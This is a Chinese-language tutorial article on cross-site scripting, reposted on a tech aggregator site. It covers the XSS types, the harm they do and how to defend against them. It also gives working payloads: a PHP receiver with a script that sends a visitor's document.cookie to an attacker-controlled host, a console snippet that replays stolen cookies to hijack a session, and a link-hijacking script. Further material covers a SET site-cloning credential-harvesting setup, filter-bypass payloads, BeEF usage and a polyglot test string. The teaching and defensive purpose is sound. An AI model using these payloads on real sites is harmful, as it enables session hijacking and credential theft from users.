IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> xss漏洞知识总结 -> 正文阅读

[网络协议]xss漏洞知识总结

漏洞原理

跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。

未对用户的输入进行处理,浏览器将用户输入的内容当作脚本执行。恶意攻击者往Web页面里插入恶意JS代码,当用户浏览该页之时,嵌入其中Web里面的JS代码会被执行,从而达到恶意的特殊目的。是一种针对用户浏览器的攻击。

漏洞分类

Xss主要分为三种类型:

(1)反射型

反射型xss又称非持久性xss,需要用户点击带有特定参数的链接。

攻击者通过邮件等形式将包含xss代码的链接发送给用户,当用户点击时,服务器接受该用户的请求并进行处理,然后把带有xss的代码发送给用户。未经验证和转义的用户输入,直接作为HTML输出的一部分。用户浏览器解析执行代码,触发xss漏洞。

Xss攻击可以让攻击者在受害者的浏览器中执行任意的HTML和JavaScript。

反射型xss攻击流程:

?使用:

页面会返回输入框所输入的内容

输入在服务器端处理后,已经成为HTML页面中的一部分。

?当输入的内容为脚本时

<script>alert(/xss/)</script>

?则输入的内容会被当作脚本执行

?

通过xss实现点击跳转

<script>alert("点击跳转");location.href="https://www.baidu.com"</script>

?

(2)存储型

存储型xss又称持久型xss,攻击脚本存储在目标服务器的数据库中。

存储型xss是指应用程序通过web请求向服务端提交了恶意数据,在未检验数据是否存在xss代码的情况下将其存入数据库。当下一次从数据库中获取该数据时,程序也未对其进行过滤,页面再次执行xss代码。

存储型xss可以持续攻击用户,具有更强的隐蔽性

存储型xss出现的位置:留言板、评论区、用户头像、个性签名、博客等。

存储型xss攻击流程:

?当留言板块被插入恶意xss代码时,内容会被存储到数据库中。

后续每次访问本页面都会受到影响。

(3)DOM型

DOM(Document Object Model)

DOM模型用一个逻辑树来表示一个文档,每个分支的终点都是一个节点,每个节点都包含着对象。DOM的方法让你可以用特定方式操作这个树,用这些方法你可以改变文档结构、样式或内容。

DOM型XSS

DOM型XSS其实时一种特殊类型的反射型XSS,通过JS操作DOM数动态地输出数据到页面,而不依赖于将数据提交给服务器端,它是基于DOM文档对象模型的一种漏洞。DOM型XSS数据不经过服务器,所以不受WAF影响。

利用:

在script里面创建一个Element的对象,然后对Element的对象的src设置一个提前准备好的服务器上。利用document.cookie获取到cookie,通过escape转义为一个可打印字符。

漏洞危害

1,盗取cookie

通过xss盗取用户cookie

<script>alert(document.cookie)</script>

?上面只是通过alert将用户的cookie弹出,还可以通过构造代码将cookie直接发送到自己的服务器。然后通过盗取到的cookie伪造用户身份,越权登录。

首先在服务器创建用于接收cookie的php文件,将接收到的值写入cookie.txt文本中。

<?php
$cookie=$_GET['cookie'];
file_put_contents('cookie.txt',$cookie);
?>
<script>document.location="http://127.0.0.1/cookie.php?cookie="+document.cookie</script>

当执行次脚本后,用户客户端就会以自己的cookie为参数,跳转至指定的链接。服务端接收后就会生cookie.txt文件。

?还可以通过nc监听指定端口,然后构造代码将数据发往指定端口。

<script>document.location="http://127.0.0.1:1234/"+document.cookie</script>

?2,会话劫持

利用 Cookie 会话劫持

打开浏览器,选择console使用下面代码一键设置cookie

var cookiestr=“盗取到的cookie内容";

var arr = cookiestr.split(";");

for(var i in arr){

?? document.cookie=arr[i];

}

访问网站时需要登录用户

通过上述方法将盗取到的cookie添加到浏览器。

?成功获得用户权限

?可在存储选项卡查看网站的cookie值。

?3,篡改网页链接

在存在xss漏洞的地方插入如下代码:

<script>

window.onload = function() {

var link=document.getElementsByTagName("a");

for(j = 0; j < link.length; j++) {

?? link[j].href="http://www.baidu.com/";}

}

</script>

?当窗口加载时,使用for循环遍历所有的a标签,将a标签中的url替换指定的url。

利用带有XSS漏洞的页面,将所有a标签的url替换成指向流量的url,使得所有用户在这个网页点击的任何链接都跳转到该流量站点,使得站点的流量增多。

4,盗取用户信息

克隆网站登陆页面,利用存储XSS设置跳转代码,如果用户访问就会跳转到克隆网站的登陆页面,用户登陆的账号和密码被记录并发往黑客服务器。

使用kali系统自带的SETookit工具克隆网站:

? ????????1,setookit (打开setookit工具)

? ????????2,选择Social-Engineering Attacks

? ????????3,选择Website Attack Vectors

? ????????4,选择Credential Harvester Attack Method

? ????????5,选择Site Cloner,输入要克隆的网址

利用xss漏洞在页面中插入跳转到克隆网站的代码:

<script>window.location=”http://192.168.154.128/”</script>

?当访问到此页面时,会自动跳转到攻击者指定页面。

?如果用户在此页面输入了账户密码并提交,攻击者后台就会接收到用户信息。

绕过方法

1,基于规则的绕过?

大小写绕过:

? HTML对标签大小写不敏感,可以利用大小写混用绕过

? 例如:

<script>改为<ScRiPt>

双写绕过:

? 有些情况的规则会将黑名单标签替换为空,可以利用这一点构造标签

? 例如:

<script>改为<scr<script>ipt>

? 同理某些注释符在规则中也会替换为空,这时候可以利用它构造payload

? 例如:

<script>改为<scr<!---test--->ipt>

开口标签:

? 在某些特殊环境,由于html代码补全机制,可以故意不闭合标签绕过黑名单检测

? 例如:

<script>改为<script

空格回车TAB:

? 例如:

js伪协议javascript:alert('xss');可以改为java script:alert('xss’);等

2,基于其他标签和事件?

其他非黑名单标签和事件:

<img>

? <img src=1 οnerrοr=alert("xss");>

<input>

  <input onfocus="alert('xss');">

  <input οnblur=alert("xss") autofocus><input autofocus> #竞争焦点,触发onblur事件

  <input onfocus="alert('xss');" autofocus> #通过autofocus属性执行本身的focus事件

<details>

? <details ontoggle="alert('xss');">

? <details open ontoggle="alert('xss');"> #使用open属性触发ontoggle事件

<svg>

? <svg οnlοad=alert("xss");>

<iframe>

? <iframe οnlοad=alert("xss");></iframe>

<body>

? <body/οnlοad=alert("xss");>

3,编码绕过

Base64编码:

? <script>eval(atob("YWxlcnQoMTIzKQ=="))</script>

? #eval()用于将字符串当作程序执行,atob()用于解密base64

? <a href=“data:text/html;base64, PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”>1</a>

? (需要浏览器支持)

HTML编码:?

<a href=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;

? &#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>1</a>

HTML文档解码顺序:HTML解析,URL解析和JavaScript解析(Unicode)。

BeEF工具

BeEF,全称The Browser Exploitation Framework,是一款针对浏览器的XSS利用工具。

1,浏览器信息收集

可收集:

? 浏览器名称版本

? 浏览器用户版本

? 插件(包括Java,ActiveX,VBS,Flash……)

? 窗口大小

(1)自动默认收集:

(2)插件收集信息

?模块图标不同颜色对应不同的使用效果

绿色:适用当前浏览器

橙色:适用当前浏览器,但易被用户发现,social engineering模块默认为橙色

红色:不适于当前浏览器,但仍可尝试

2,系统信息收集

可收集:

? 安装的软件(适用于IE下,Detect Software模块)

? 注册表键值(适用于IE下,此时会弹出提示消息)

? 内网IP(Java模块得到授权)

? 系统详情(通过JavaApplet获取系统版本、Java VM details、NIC names and IP、处理器、内存、屏幕显示模式)?

? 定位(通过Google maps)

? 剪贴板信息(会弹出提示消息)

3,用户行为

可收集:

? 用户是否访问过某URL、domain

? 是否登录特定网站账号

? 是否使用TOR

4,钓鱼

提交登录信息

? 在网页弹出诱骗消息需要用户输入登录和密码

?当用户输入信息后,自动获取,如图

?5,网络扫描

获取内网ip

通过WebRTC获取内网IP

防范方法

1,过滤和转义

针对XSS的防御

用用户的输入进行合理验证,对特殊字符如(<、>、’、”等)以及<script>、javascript等进行过滤。

采用OWASP ESAPI对数据输出HTML上下文中不同位置(HTML标签、HTML属性、JavaScript脚本、CSS、URL)进行恰当的输出编码。

2,设置HttpOnly

设置HttpOnly属性,避免攻击者利用XSS漏洞进行Cookie劫持攻击。

? java:cookie.setHttpOnly(true);

? python:tools.session.httponly = true

? php:session.cookie_httponly=1

3,Xss的检测

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

它能够检测到存在于 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等多种上下文中的 XSS 漏洞,也能检测 eval()、setTimeout()、setInterval()、Function()、innerHTML、document.write() 等 DOM 型 XSS 漏洞,并且能绕过一些 XSS 过滤器。

只要在网站的各输入框中提交这个字符串,或者把它拼接到 URL 参数上,就可以进行检测了。

  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章      下一篇文章      查看所有文章
加:2022-04-18 18:20:11  更:2022-04-18 18:24:37 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/26 3:50:11-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码